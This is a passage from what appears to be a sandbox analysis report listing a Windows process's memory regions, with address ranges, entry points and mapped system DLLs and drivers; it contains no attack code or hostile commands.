"c:\\windows\\system32\\dsrole.dll") Region: id = 2244 start_va = 0x7ffa76be0000 end_va = 0x7ffa76bf2fff monitored = 0 entry_point = 0x7ffa76be2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2245 start_va = 0x7ffa76ec0000 end_va = 0x7ffa76ee6fff monitored = 0 entry_point = 0x7ffa76ec7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2246 start_va = 0x7ffa778b0000 end_va = 0x7ffa778bbfff monitored = 0 entry_point = 0x7ffa778b27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2247 start_va = 0x7ffa779f0000 end_va = 0x7ffa77a69fff monitored = 0 entry_point = 0x7ffa77a11a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2248 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2249 start_va = 0x7ffa782b0000 end_va = 0x7ffa78305fff monitored = 0 entry_point = 0x7ffa782c0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2250 start_va = 0x7ffa78330000 end_va = 0x7ffa78358fff monitored = 0 entry_point = 0x7ffa78344530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2251 start_va = 0x7ffa784c0000 end_va = 0x7ffa784cffff monitored = 0 entry_point = 0x7ffa784c56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2252 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2253 start_va = 0x7ffa784e0000 end_va = 0x7ffa7852afff monitored = 0 entry_point = 0x7ffa784e35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2254 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2255 start_va = 0x7ffa786c0000 end_va = 0x7ffa78702fff monitored = 0 entry_point = 0x7ffa786d4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2256 start_va = 0x7ffa78710000 end_va = 0x7ffa78726fff monitored = 0 entry_point = 0x7ffa78711390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2257 start_va = 0x7ffa78730000 end_va = 0x7ffa788f6fff monitored = 0 entry_point = 0x7ffa7878db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2258 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2259 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2260 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2261 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2262 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2263 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2264 start_va = 0x7ffa7b540000 end_va = 0x7ffa7b5aafff monitored = 0 entry_point = 0x7ffa7b5590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2265 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2266 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2267 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2268 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2269 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2270 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2271 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9f0000" filename = "" Region: id = 2272 start_va = 0x7ffa77c00000 end_va = 0x7ffa77c1efff monitored = 0 entry_point = 0x7ffa77c05d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2273 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2274 start_va = 0x671280000 end_va = 0x6712fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000671280000" filename = "" Region: id = 3088 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000196ee9e0000" filename = "" Region: id = 3136 start_va = 0x7ffa77c00000 end_va = 0x7ffa77c1efff monitored = 0 entry_point = 0x7ffa77c05d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3137 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3464 start_va = 0x7ffa77c00000 end_va = 0x7ffa77c1efff monitored = 0 entry_point = 0x7ffa77c05d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3465 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3534 start_va = 0x7ffa77c00000 end_va = 0x7ffa77c1efff monitored = 0 entry_point = 0x7ffa77c05d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3535 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3589 start_va = 0x7ffa77c00000 end_va = 0x7ffa77c1efff monitored = 0 entry_point = 0x7ffa77c05d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3590 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 5872 start_va = 0x196ef2b0000 end_va = 0x196ef3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000196ef2b0000" filename = "" Region: id = 5873 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9f0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5874 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5875 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9f0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5876 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5877 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9f0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5878 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5879 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9f0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 5880 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 5881 start_va = 0x196ee9e0000 end_va = 0x196ee9f9fff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 5882 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 5883 start_va = 0x196ee9e0000 end_va = 0x196ee9f9fff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 5884 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 5885 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 5886 start_va = 0x196ef3b0000 end_va = 0x196ef46bfff monitored = 0 entry_point = 0x196ef3ec480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 5887 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 5888 start_va = 0x196ef3b0000 end_va = 0x196ef46bfff monitored = 0 entry_point = 0x196ef3ec480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 5889 start_va = 0x196ee9e0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x196ee9fd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5890 start_va = 0x196eea10000 end_va = 0x196eea14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5891 start_va = 0x196ee9e0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x196ee9fd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5892 start_va = 0x196eea10000 end_va = 0x196eea14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5893 start_va = 0x196ee9e0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x196ee9fd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5894 start_va = 0x196eea10000 end_va = 0x196eea14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5895 start_va = 0x196ee9e0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x196ee9fd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 5896 start_va = 0x196eea10000 end_va = 0x196eea14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 5897 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5898 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5899 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5900 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5901 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5902 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5903 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5904 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5905 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5906 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5907 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5908 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5909 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5910 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5911 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5912 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5913 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5914 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5915 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5916 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5917 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5918 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5919 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5920 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5921 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5922 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5923 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5924 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5925 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5926 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5927 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5928 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5929 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5930 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5931 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5932 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5933 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5934 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5935 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 5936 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5937 start_va = 